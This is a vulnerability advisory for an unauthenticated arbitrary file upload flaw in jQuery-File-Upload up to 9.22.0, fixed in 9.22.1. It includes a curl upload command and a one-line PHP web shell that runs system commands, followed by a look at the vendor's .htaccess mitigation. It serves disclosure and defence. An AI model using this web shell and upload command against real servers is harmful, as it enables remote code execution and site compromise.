Advisory #: 204
Title: jQuery-File-Upload <= v9.22.0 unauthenticated arbitrary file upload vulnerability
Author: Larry W. Cashdollar, @_larry0
Date: 2018-10-09
CWE: CWE-434 arbitrary file upload
Download Site:
Vendor Notified: 2018-10-09
Vendor Contact:, fixed v9.22.1
Description: File Upload widget with multiple file selection, drag&drop support, progress bar, validation and preview images, audio and video for jQuery. Supports cross-domain, chunked and resumable file uploads. Works with any server-side platform (Google App Engine, PHP, Python, Ruby on Rails, Java, etc.) that supports standard HTML form file uploads.
The code in doesn't require any validation to upload files to the server. It also doesn't exclude file types. This allows for remote code execution. The back end PHP code under server/php/ is used to handle requests from the javascript front end. This code will allow any file type to be uploaded including executable files with .php extensions. The javascript front end sends POST requests to index.php that in turn loads the UploadHandler class from UploadHandler.php. Files are then written to the server/php/files directory.
Exploit Code:
  1. $ curl -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php
  3. Where shell.php is:
  5. <?php $cmd=$_GET['cmd']; system($cmd);?>
  7. Or
Screen Shots: [CVE-2018-9206.png][CVE-2018-9206-result.png]
Actively being exploited in the wild.

The author includes a .htaccess under server/php/files that attempt to force the file as a download
and change the file extension to .html.

.htaccess with comments removed:

SetHandler default-handler
ForceType application/octet-stream
Header set Content-Disposition attachment

	ForceType none
	Header unset Content-Disposition

Header set X-Content-Type-Options nosniff

Testing this on default versions of Ubuntu and Debian:

If I enable AllowOverride All in /etc/apache2/apache2.conf for the directory /var/www I get an Internal Server Error.

The error log states:

Invalid command 'Header', perhaps misspelled or defined by a module not included in the server configuration.

So it seems the default apache configuration is missing mod_headers.

root@debian:/etc/apache2/mods-enabled# ln -s ../mods-available/headers.load 
root@debian:/etc/apache2/mods-enabled# /etc/init.d/apache2 restart
[ ok ] Restarting apache2 (via systemctl): apache2.service.

Now the above downloads shell.html as the software author intended.